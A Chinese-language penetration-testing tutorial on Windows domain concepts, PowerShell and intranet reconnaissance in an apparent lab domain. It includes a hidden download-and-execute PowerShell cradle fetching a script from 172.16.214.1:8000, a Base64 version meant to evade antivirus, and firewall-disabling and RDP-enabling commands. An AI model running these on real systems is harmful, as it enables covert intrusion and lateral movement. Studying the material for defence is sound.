一、内网中常见名词解释
1、工作组
工作组 Work Group
是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中,以方便管理。
比如在一个网络内,可能有成百上千台工作电脑,如果这些电脑不进行分组,都列在“网上邻居”内,可想而知会有多么乱。
为了解决这一问题,Windows 9x/NT/2000 引用了“工作组”这个概念,比如一所高校,会分为诸如数学系、中文系之类的,然后数学系的电脑全都列入数学系的工作组中,中文系的电脑全部都列入到中文系的工作组中……如果你要访问某个系别的资源,就在“网上邻居”里找到那个系的工作组名,双击就可以看到那个系别的电脑了。
在工作组中所有的计算机都是平等的,没有管理与被管理之分,因此工作组网络也称为对等网络。
所以对于管理者而言,工作组的管理方式有时会不太便于管理,这时候就需要了解域的概念了。
2、域
域 Domain
可以简单的理解成工作组的升级版,如果说工作组是“免费旅店”那么域就是“星级宾馆”;工作组可以随便进进出出,而域则有严格的控制。
在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为域控制器。
域控制器 Domain Controller
简写为 DC
,域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。
当电脑连入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确的,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,这样就在一定程度上保护了网络上的资源。
正是因为域控起到了一个身份验证的作用,因此站在渗透的角度来说,拿下域控是至关重要的。拿下了域控,就相当于拿到了整个域内所有计算机的账号和密码。
而要想实现域环境,就必须要计算机中安装活动目录,也可以说如果在内网中的一台计算机上安装了活动目录,那它就变成了域控制器。在域中除了域控制器还有成员服务器、客户机、独立服务器。
父域和子域
顾名思义,在一个域下新建了一个域便称其为子域。形象的来说,一个部门一个域,那个如果这个部门还有分部,那每个分部就可被称为子域,这个大的部门便称为父域。每个域中都有独立的安全策略。
域树
域树由多个域组成,这些域共享同一表结构和配置,形成一个连续的名字空间。
树中的域通过信任关系连接起来,活动目录包含一个或多个域树。域树中的域层次越深级别越低,一个“.”代表一个层次,如域child.Microsoft.com 就比 Microsoft.com这个域级别低,因为它有两个层次关系,而Microsoft.com只有一个层次。
而域Grandchild.Child.Microsoft.com又比 Child.Microsoft.com级别低,道理一样。他们都属于同一个域树。Child.Microsoft.com就属于Microsoft.com的子域。
多个域树可以组成一个域林。
域林
域林是指由一个或多个没有形成连续名字空间的域树组成,它与域树最明显的区别就在于域林之间没有形成连续的名字空间,而域树则是由一些具有连续名字空间的域组成。
但域林中的所有域树仍共享同一个表结构、配置和全局目录。域林中的所有域树通过Kerberos 信任关系建立起来,所以每个域树都知道Kerberos信任关系,不同域树可以交叉引用其他域树中的对象。域林都有根域,域林的根域是域林中创建的第一个域,域林中所有域树的根域与域林的根域建立可传递的信任关系.
比如benet.com.cn,则可以创建同属与一个林的accp.com.cn,他们就在同一个域林里.
当创建第一个域控制器的时候,就创建了第一个域(也称林根域),和第一个林。
林,是一个或多个共享公共架构和全局编录的域组成,每个域都有单独的安全策略,和与其他域的信任关系。一个单位可以有多个林。
3、活动目录
活动目录 Active Directory
,简写为 AD
,它是 Windows Server 中负责架构中大型网络环境的集中式目录管理服务,在Windows 2000 Server 开始内置于 Windows Server 产品中。
目录包含了有关各种对象,例如用户、用户组、计算机、域、组织单位(OU)以及安全策略的信息。目录存储在域控上,并且可以被网络应用程序或者服务所访问。
活动目录就相当于内网中各种资源的一个目录,通过活动目录用户可以快速定位到这些资源的位置。
4、DMZ
DMZ demilitarized zone
,中文名为“隔离区”,或称“非军事化区”。它是为了解决安装防火墙后外部网络的访问用户不能访问内部网络服务器的问题,从而设立的一个非安全系统与安全系统之间的缓冲区。
DMZ 区可以理解为一个不同于外网或内网的特殊网络区域,DMZ 内通常放置一些不含机密信息的公用服务器,比如 WEB 服务器、E-Mail 服务器、FTP 服务器等。这样来自外网的访问者只可以访问 DMZ 中的服务,但不可能接触到存放在内网中的信息等,即使 DMZ 中服务器受到破坏,也不会对内网中的信息造成影响。
5、域内的各种权限
首先要理解一下组的概念,在组里包含了很多用户,当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行,从而提高了管理效率,常见的组有:域本地组、全局组、通用组。
域本地组
成员范围:所有的域;使用范围:自己所在的域
全局组
成员范围:自己所在的域;使用范围:所有的域
通用组
成员范围:所有的域;使用范围:所有的域
A-G-DL-P 策略
A-G-DL-P 策略是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。
二、PowerShell
1、介绍
PowerShell 可以简单的理解为 cmd 的高级版,cmd 能做的事在 PowerShell 中都能做,但 PowerShell 还能做很多 cmd 不能做的事情。
PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。
PowerShell 有如下特点:
PowerShell 脚本可以运行在内存中,不需要写入磁盘
可以从另一个系统中下载 PowerShell 脚本并执行
目前很多工具都是基于 PowerShell 开发的
很多安全软件检测不到 PowerShell 的活动
cmd 通常会被阻止运行,但是 PowerShell 不会
可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:
Copy PS C:\Users\teamssix> Get-Host
Name : ConsoleHost
Version : 5.1.18362.1171
InstanceId : a0a6f8f2-f86a-477f-bf4b-b94b452bee3c
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
Copy PS C:\Users\teamssix> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1171
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1171
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
Windows 操作系统对应的 PowerShell 版本信息:
1.0 windows server 2008
2.0 windows server 2008 r2、windows 7
3.0 windows server 2012、windows 8
4.0 windows server 2012 r2、windows 8.1
5.0 windows 10
5.1 windows server 2016
2、基本概念
ps1 文件
ps1 是PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。
执行策略
为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted
。
使用 Get-ExecutionPolicy
命令查看当前执行策略
Copy PS C:\Users\teamssix> Get-ExecutionPolicy
Restricted
执行策略有以下几种:
Restricted :不能运行脚本
RemoteSigned :本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned :仅当脚本由受信任的发布者签名才能运行。
Unrestricted :脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
使用Set-ExecutionPolicy <policy name>
设置执行策略,该命令需要管理员权限
Copy PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted
执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): A
PS C:\WINDOWS\system32> Get-ExecutionPolicy
Unrestricted
运行脚本
PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行,具体如下:
Copy PS C:\Users\teamssix> C:\t.ps1
hello TeamsSix
PS C:\Users\teamssix> cd C:\
PS C:\> .\t.ps1
hello TeamsSix
这里不禁想吐槽一下,在看百度百科的时候关于 PowerShell 运行脚本的描述是这样的:“假设你要运行一个名为a.ps1的脚本,你可以键入 C:\Scripts\aps1,最大的例外是,如果 PowerShell 脚本文件刚好位于你的系统目录中,那么你可以直接在命令提示符命令提示符后键入脚本文件名即可运行”
这里的“系统目录”是指的啥目录?C:\还是C:\windows\system目录,“最大的例外”又是什么鬼,讲道理读起来有一种机翻的感觉。
管道
PowerShell 中的管道类似于 linux 中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令之间使用 “|” 进行连接。
例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序
Copy PS C:\> Get-Process | Sort-Object ID
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
0 0 60 8 0 0 Idle
3038 0 208 4760 4 0 System
0 12 7732 81344 88 0 Registry
53 3 1160 752 368 0 smss
256 10 2468 7424 424 0 svchost
662 21 1788 4668 504 0 csrss
160 11 1364 5660 580 0 wininit
653 27 18592 177580 588 1 csrss
1219 67 59660 52 2.59 600 1 WinStore.App
278 14 3108 15656 684 1 winlogon
687 11 5420 9432 724 0 services
3、一些命令
-NoLogo:启动不显示版权标志的PowerShell
-WindowStyle Hidden (-W Hidden):隐藏窗口
-NoProfile (-NoP):不加载当前用户的配置文件
–Enc:执行 base64 编码后的 powershell 脚本字符串
-ExecutionPolicy Bypass (-Exec Bypass) :绕过执行安全策略
-Noexit:执行后不退出Shell,这在使用键盘记录等脚本时非常重要
-NonInteractive (-Nonl):非交互模式,PowerShell 不为用户提供交互的提示
在 PowerShell 下,命令的命名规范很一致,都采用了动词-名词的形式,如 Net-Item,动词一般为 Add、New、Get、Remove、Set 等。PowerShell 还兼容 cmd 和 Linux 命令,如查看目录可以使用 dir 或者 ls 。
文件操作类命令
Copy 新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value "hello"
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value "hello"
给文件test.txt追加内容:Add-Content test.txt -Value ",word!"
清除文件test.txt内容:Clear-Content test.txt
绕过本地权限并执行
上面说到了默认情况下 PowerShell 的执行策略是受限模式Restricted
,这就导致了在渗透测试过程中我们需要采用一些方法绕过这个策略,从而执行我们的脚本文件。
先来看看默认受限模式下执行脚本的情况
Copy PS C:\Users\teamssix> powerShell.exe Get-ExecutionPolicy
Restricted
PS C:\Users\teamssix> PowerShell.exe -File t.ps1
无法加载文件 C:\Users\teamssix\t.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅 https:/go.microsoft.com/fwlink/?
LinkID=135170 中的 about_Execution_Policies。
+ CategoryInfo : SecurityError: (:) [],ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnauthorizedAccess
这里系统会提示在此系统上禁止运行脚本,但加上 -ExecutionPolicy Bypass
即可绕过这个限制
Copy PS C:\Users\teamssix> cat .\t.ps1
echo "Hello TeamsSix"
PS C:\Users\teamssix> PowerShell.exe -ExecutionPolicy Bypass -File t.ps1
hello TeamsSix
绕过本地权限并隐藏执行
加入-WindowStyle Hidden -NoLogo -NonInteractive -NoProfile
即可隐藏执行。
Copy PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1
下载远程脚本绕过权限并隐藏执行
Copy PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
或者简写
Copy PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
利用 Base64 对命令进行编码
使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址:
Copy >cat tmp.txt
IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')
>python ps_encoder.py -s tmp.txt
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA
使用 –Enc 指定 Base64 编码内容
Copy PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEANwAyAC4AMQA2AC4AMgAxADQALgAxADoAOAAwADAAMAAvAHQALgBwAHMAMQAnACkA
三、本地工作组信息收集
1、手动收集本地工作组信息
Copy systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Copy systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
Copy echo %PROCESSOR_ARCHITECTURE%
Copy wmic product get name,version
Copy powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
Copy wmic service list brief
Copy wmic process list brief
Copy wmic startup get command,caption
Copy schtasks /query /fo LIST /v
Copy net statistics workstation
Copy net localgroup administrators
Copy query user || qwinsta
Copy wmic qfe get Caption,Description,HotFixID,InstalledOn
Copy wmic share get name,path,status
查询防火墙相关配置
Copy netsh firewall set opmode disable (Windows Server 2003 系统及之前版本)
netsh advfirewall set allprofiles state off (Windows Server 2003 系统及之后版本)
Copy netsh firewall show config
Copy (Windows Server 2003 系统及之前版本)
允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
(Windows Server 2003 之后系统版本)
允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C: \nc.exe"
允许指定程序连出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C: \nc.exe"
允许 3389 端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
Copy netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
Copy reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查询并开启远程连接服务
查看远程连接端口(0xd3d换成10进制即3389)
Copy REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
在Windows Server 2003 中开启3389 端口
Copy wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
在Windows Server 2008 和Windows Server 2012 中开启3389 端口
Copy wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
2、自动收集本地工作组信息
wmic 脚本
直接将脚本在目标主机上运行,运行结束后会生成一个 output.html 文件
PowerShsell Empire
PowerShsell Empire中文简称 “帝国” ,是一款针对 Windows 系统平台而打造的渗透工具,以下是 Empire 和万能的 MSF 的一些区别。
MSF 是全平台的,无论是win,linux,mac都可以打,但 Empire 是只针对 Windows 的
MSF 集信息收集,渗透,后渗透,木马,社工的功能为一体,全面多能;而 Empire 专注于内网渗透,它是针对 PowerShell 的
当使用 Empire 使主机上线后,可调用powershell/situational_awareness/host/winenum
模块查看本机用户信息、系统基本信息、剪贴板等等信息。
调用powershell/situational_awareness/host/computerdetails
模块可查看更丰富的信息,比如RDP登录信息、主机时间日志等等,在运行这个模块时需要管理员权限。
参考链接:
四、域内信息收集
1、判断是否存在域
ipconfig
查看网关 IP 地址、DNS 的 IP 地址、域名、本机是否和 DNS 服务器处于同一网段。
Copy C:\Users\daniel10> ipconfig /all
Windows IP 配置
主 DNS 后缀 . . . . . . . . . . : teamssix.com
DNS 后缀搜索列表 . . . . . . . . : teamssix.com
以太网适配器 Ethernet0:
IPv4 地址 . . . . . . . . . . .. : 192.168.7.110
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.7.1
DNS 服务器 . . . . . . . . . . . : 192.168.7.7
接着使用 nslookup 解析域名的 IP 地址,查看是否与 DNS 服务器为同一 IP
Copy nslookup teamssix.com
Copy C:\Users\daniel10> nslookup teamssix.com
服务器: UnKnown
Address: 192.168.7.7
名称: teamssix.com
Address: 192.168.7.7
系统详细信息
Copy C:\Users\daniel10> systeminfo | findstr 域:
域: teamssix.com
当前登录域与域用户
Copy net config workstation
Copy C:\Users\daniel10> net config workstation | findstr 域
工作站域 TEAMSSIX
工作站域 DNS 名称 teamssix.com
登录域 TEAMSSIX
判断主域
Copy C:\Users\daniel10> net time /domain
\\dc.teamssix.com 的当前时间是 2021/2/13 20:49:56
命令成功完成。
2、收集域内基础信息
查看域
Copy C:\Users\daniel10> net view /domain
Domain
-------------------------------------------------------------------------------
TEAMSSIX
命令成功完成。
查看域内计算机
Copy net view /domain:domain_name
Copy C:\Users\daniel10> net view /domain:teamssix
服务器名称 注解
-------------------------------------------------------------------------------
\\DANIEL10
\\DANIEL7
\\DC
命令成功完成。
查看域内用户组列表
Copy C:\Users\daniel10> net group /domain
这项请求将在域 teamssix.com 的域控制器处理。
\\dc.teamssix.com 的组帐户
-------------------------------------------------------------------------------
*Admins
*Domain Admins
*Domain Computers
*Domain Users
*Enterprise Admins
命令成功完成。
查看域用户组信息
Copy net group "Enterprise Admins" /domain
Copy C:\Users\daniel10> net group "Enterprise Admins" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名 Enterprise Admins
注释 指定的公司系統管理員
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
查看域密码策略信息
Copy C:\Users\daniel10> net accounts /domain
这项请求将在域 teamssix.com 的域控制器处理。
强制用户在时间到期之后多久必须注销?: 从不
密码最短使用期限(天): 1
密码最长使用期限(天): 42
密码长度最小值: 7
保持的密码历史记录长度: 24
锁定阈值: 从不
锁定持续时间(分): 30
锁定观测窗口(分): 30
计算机角色: PRIMARY
命令成功完成。
查看域信任信息
Copy nltest /domain_trusts
Copy C:\Users\daniel10> nltest /domain_trusts
域信任的列表:
0: TEAMSSIX teamssix.com (NT 5) (Forest Tree Root) (Primary Domain) (Native)
此命令成功完成
3、收集域用户和管理员信息
查询域用户列表
Copy C:\Users\daniel10> net user /domain
这项请求将在域 teamssix.com 的域控制器处理。
\\dc.teamssix.com 的用户帐户
-------------------------------------------------------------------------------
admin Administrator daniel10
查询域用户详细信息
Copy wmic useraccount get /all
Copy C:\Users\daniel10> wmic useraccount get /all
AccountType Caption Description Disabled Domain FullName InstallDate LocalAccount Lockout Name PasswordChangeable PasswordExpires PasswordRequired SID SIDType Status
512 DANIEL10\Administrator 管理计算机(域)的内置帐户 TRUE DANIEL10 TRUE FALSE Administrator TRUE FALSE TRUE S-1-5-21-1097120846-822447287-3576165687-500 1 Degraded
512 DANIEL10\DefaultAccount 系统管理的用户帐户。 TRUE DANIEL10 TRUE FALSE DefaultAccount TRUE FALSE FALSE S-1-5-21-1097120846-822447287-3576165687-503 1 Degraded
查询存在的用户
Copy C:\Users\daniel10> dsquery user
"CN=Administrator,CN=Users,DC=teamssix,DC=com"
"CN=Guest,CN=Users,DC=teamssix,DC=com"
常用的 dsquery 命令
Copy dsquery computer - 查找目录中的计算机
dsquery contact - 查找目录中的联系人
dsquery subnet - 查找目录中的子网
dsquery group - 查找目录中的组
dsquery ou - 查找目录中的组织单位
dsquery site - 查找目录中的站点
dsquery server - 查找目录中的域控制器
dsquery user - 查找目录中的用户
dsquery quota - 查找目录中的配额
dsquery partition - 查找目录中的分区
dsquery * - 用通用的 LDAP 查询查找目录中的任何对象
4、查找域控制器
查看域控器机器名
Copy nltest /DCLIST:teamssix
Copy C:\Users\daniel10> nltest /DCLIST:teamssix
获得域“teamssix”中 DC 的列表(从“\\DC”中)。
dc.teamssix.com [PDC] [DS] 站点: Default-First-Site-Name
此命令成功完成
查看域控器主机名
Copy nslookup -type=SRV _ldap._tcp
Copy C:\Users\daniel10> nslookup -type=SRV _ldap._tcp
_ldap._tcp.teamssix.com SRV service location:
priority = 0
weight = 100
port = 389
svr hostname = dc.teamssix.com
dc.teamssix.com internet address = 192.168.7.7
Copy C:\Users\daniel10> netdom query pdc
域的主域控制器:
DC
命令成功完成。
查看域控器组
Copy net group "domain controllers" /domain
Copy C:\Users\daniel10> net group "domain controllers" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名 Domain Controllers
注释 在網域所有的網域控制站
成员
-------------------------------------------------------------------------------
DC$
命令成功完成。
5、定位域管理员
psloggedon
在 Windows 上使用 net session
可以查看谁使用了本机资源,但不能查看谁在使用远程计算机资源、谁登录了本地或远程计算机,使用 psloggedon 可以查看本地登录的用户和通过本地计算机或远程计算机进行资源登录的用户。
Copy psloggedon.exe [-] [-l] [-x] [\\computername|username]
- 显示支持的选项和用于输出值的单位。
-l 仅显示本地登录,不显示本地和网络资源登录。
-x 不显示登录时间。
\\computername 指定要列出登录信息的计算机的名称。
Username 指定用户名,在网络中搜索该用户登录的计算机。
Copy C:\Users\daniel10> PsLoggedon.exe -l \\192.168.7.7
Users logged on locally:
2021/2/13 20:53:08 TEAMSSIX\Administrator
PVEFindADUser
PVEFindADUser 用于查找活动目录用户登录的位置、枚举域用户,以及查找在特定计算机上登录的用户,包括本地用户、通过 RDP 登录的用户、用于运行服务器和计划任务的用户,该工具需要管理员权限。
Copy -h 显示帮助信息
-u 检测程序是否有新版本
-current ["username"] -current参数显示每台PC上当前登录的用户在域中。如果指定用户名(在引号之间),则仅将显示该特定用户登录的PC
-noping 阻止尝试枚举用户登录名之前对目标计算机执行ping命令
-target 此可选参数允许您指定要查询的主机。如果未指定此-target参数,则将查询当前域中的所有主机。如果决定指定-target,然后指定以逗号分隔的主机名。查询结果将被输出到report.csv文件中
Copy C:\Users\daniel10> PVEFindADUser.exe -current
[+] Finding currently logged on users ? true
[+] Finding last logged on users ? false
[+] Enumerating all computers...
[+] Number of computers found : 15
[+] Launching queries
[+] Processing host : dc.teamssix.com (Windows Server 2008 R2 Datacenter;Service Pack 1)
- Logged on user : teamssix\administrator
[+] Processing host : daniel7.teamssix.com (Windows 7 专业版;Service Pack 1)
[+] Processing host : daniel10.teamssix.com (Windows 10 专业版)
[+] Report written to report.csv
netview
netview 是一个枚举工具,使用 WinAPI 枚举系统,利用 NetSessionEnum 寻找登录会话,利用 NetShareEnum 寻找共享,利用 NetWkstaUserEnum 枚举登录的用户,netview 可以查询共享入口和有价值的用户,其绝大部分功能无需管理员权限就可使用。
Copy -h 显示帮助信息
-f filename.txt 指定要提取主机列表的文件
-e filename.txt 指定要排除的主机名的文件
-o filename.txt 将所有输出重定向到指定的文件
-d domain 指定要提取主机列表的域。如果没有指定,则从当前域中提取主机列表
-g group 指定搜索的组名。如果没有指定,则在Domain Admins组中搜索
-c 对已找到的共享目录/文件的访问权限进行检查
-i interval 枚举主机之间等待的秒数
-j jitter 应用于间隔的抖动百分比(0.0-1.0)
Copy C:\Users\daniel10> netview.exe -d
[+] Number of hosts: 3
[+] Host: DANIEL10
Enumerating AD Info[+] DANIEL10 - Comment -
[+] D - OS Version - 10.0
[+] DANIEL10 - MSSQL Server
Enumerating IP Info
[+] (null) - IPv4 Address - 192.168.7.110
Enumerating Share Info
Enumerating Session Info
Enumerating Logged-on Users
[+] DANIEL10 - Logged-on - TEAMSSIX\daniel10
[+] Host: DC
Enumerating AD Info[+] DC - Comment -
[+] D - OS Version - 6.1
[+] DC - Domain Controller
Enumerating IP Info
[+] (null) - IPv4 Address - 192.168.7.7
……内容较多故省略……
NSE 脚本
常用的 NSE 脚本如下:
smb-enum-domains.nse
:对域控制器进行信息收集,可以获取主机信息、用户、可使用密码策略的用户等
smb-enum-users.nse
:在进行域渗透时,如获取了域内某台主机权限,但权限有限,无法获取更多的域用户信息,可借助此脚本对域控制器进行扫描
smb-enum-shares.nse
:遍历远程主机的共享目录
smb-enum-processes.nse
:对主机的系统进程进行遍历,通过此信息,可知道目标主机运行着哪些软件
smb-enum-sessions.nse
:获取域内主机的用户登陆会话,查看当前是否有用户登陆,且不需要管理员权限
smb-os-discovery.nse
:收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等信息
Copy C:\Users\daniel10> nmap --script=smb-os-discovery.nse -p 445 192.168.7.107
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-21 09:44 CST
Nmap scan report for 192.168.7.107
Host is up (0.00053s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: daniel7
| NetBIOS computer name: DANIEL7\x00
| Domain name: teamssix.com
| Forest name: teamssix.com
| FQDN: daniel7.teamssix.com
|_ System time: 2021-02-21T09:44:33+08:00
Nmap done: 1 IP address (1 host up) scanned in 0.50 seconds
PowerView 脚本
PowerView 脚本中包含了一系列的 powershell 脚本,信息收集相关的脚本有 Invoke-StealthUserHunter、Invoke-UserHunter 等,要使用 PowerView 脚本需要将 PowerView 文件夹复制到 PowerShell 的 Module 文件夹内, Module 文件夹路径可以通过在 PowerShell 中输入 $Env:PSModulePath
查看,我这里将其复制到了C:\Program Files\WindowsPowerShell\Modules文件夹内。
接着在 powershell中输入 Import-Module PowerView
即可导入PowerView,使用 Get-Command -Module PowerView
可查看已导入的 PowerView 命令
Copy PS C:\Users\daniel10> Import-Module PowerView
PS C:\Users\daniel10> Get-Command -Module PowerView
CommandType Name Version Source
----------- ---- ------- ------
Alias Find-UserTrustGroup 1.0 PowerView
Alias Get-ComputerProperties 1.0 PowerView
……内容较多故省略……
注:在打开上面的下载地址时会看到该项目已被转移到其他项目下,但是当我在使用新版本的 PowerView 脚本时,发现找不到Invoke-StealthUserHunter
命令,而旧版本的 PowerView 有Invoke-StealthUserHunter
命令
Invoke-StealthUserHunter :只需要进行一次查询,就可以获取域里面的所有用户。其原理为:从user.HomeDirectories
中提取所有用户,并对每个服务器进行Get-NetSession
获取。因不需要使用Invoke-UserHunter
对每台机器进行操作,所以这个方法的隐蔽性相对较高(但涉及的机器不一定全面)。PowerView 默认使用Invoke-StealthUserHunter
如果找不到需要的信息,就会使用Invoke-UserHunter
.
Invoke-UserHunter :找到域内特定的用户群,接受用户名、用户列表和域组查询,接收一个主机列表或查询可用的主机域名。使用Get-NetSession
和Get-NetLoggedon
(调用 NetSessionEnum 和 NetWkstaUserEnumAPI )扫描每台服务器并对扫描结果进行比较,从而找出目标用户集,在使用时不需要管理员权限。
Copy PS C:\Users\daniel10> Invoke-UserHunter
UserDomain : TEAMSSIX
UserName : Administrator
ComputerName : dc.teamssix.com
IP : 192.168.7.7
SessionFrom :
LocalAdmin :
UserDomain : TEAMSSIX
UserName : daniel10
ComputerName : daniel10.teamssix.com
IP : 192.168.7.110
SessionFrom :
LocalAdmin :
UserDomain : TEAMSSIX
UserName : Administrator
ComputerName : daniel7.teamssix.com
IP : 192.168.7.107
SessionFrom :
LocalAdmin :
PowerView 中的其他信息收集模块:
Get-NetDomain:获取当前用户所在域名称
Get-NetDomainController:获取所有域控制器的信息
Get-NetComputer:获取域内所有机器的详细信息
Get-NetGroup:获取所有域内组和组成员信息
Get-NetFileServer:根据SPN获取当前域使用的文件服务器信息
Get-NetShare:获取当前域内所有的网络共享信息
Get-NetSession:获取指定服务器的会话
Get-NetRDPSession:获取指定服务器的远程连接
Get-DomainPolicy:获取域默认策略或域控制器策略
Invoke-UserHunter:获取域用户登陆的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter:通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter:根据用户日志查询某域用户登陆过哪些域机器
Empire
Empire中的user_hunter
模块用于查找域管理员登陆的机器,使用 powershell/situational_awareness/network/powerview/user_hunter 模块,可查看哪个用户登陆哪台主机。
Copy (Empire: listeners) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- ---------
3XRCWAB2 ps 192.168.7.7 DC *TEAMSSIX\administrator powershell 2256 5/0.0 2021-02-22 20:39:54
(Empire: agents) > usemodule powershell/powershell/situational_awareness/network/powerview/user_hunter
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > set Agent 3XRCWAB2
(Empire: powershell/situational_awareness/network/powerview/user_hunter) > execute
[*] Tasked 3XRCWAB2 to run TASK_CMD_JOB
[*] Agent 3XRCWAB2 tasked with task ID 1
[*] Tasked agent 3XRCWAB2 to run module powershell/situational_awareness/network/powerview/user_hunter
[*] Valid results returned by 192.168.7.7
……
6、查找域管理员进程
获取域管理员列表
Copy net group "Domain Admins" /domain
Copy C:\Users\daniel10>net group "Domain Admins" /domain
这项请求将在域 teamssix.com 的域控制器处理。
组名 Domain Admins
注释 指定的域管理员
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
列出本机的所有进程及进程用户
Copy C:\Users\daniel10>tasklist /v
映像名称 PID 会话名 会话# 内存使用 状态 用户名 CPU 时间 窗口标题
========================= ======== ================ =========== ============ =============== ================================================== ============ ========================================================================
System Idle Process 0 Services 0 8 K Unknown NT AUTHORITY\SYSTEM 68:35:16 暂缺
System 4 Services 0 924 K Unknown 暂缺 0:24:14 暂缺
svchost.exe 9228 Console 2 2,932 K Unknown TEAMSSIX\daniel10 0:00:00 暂缺
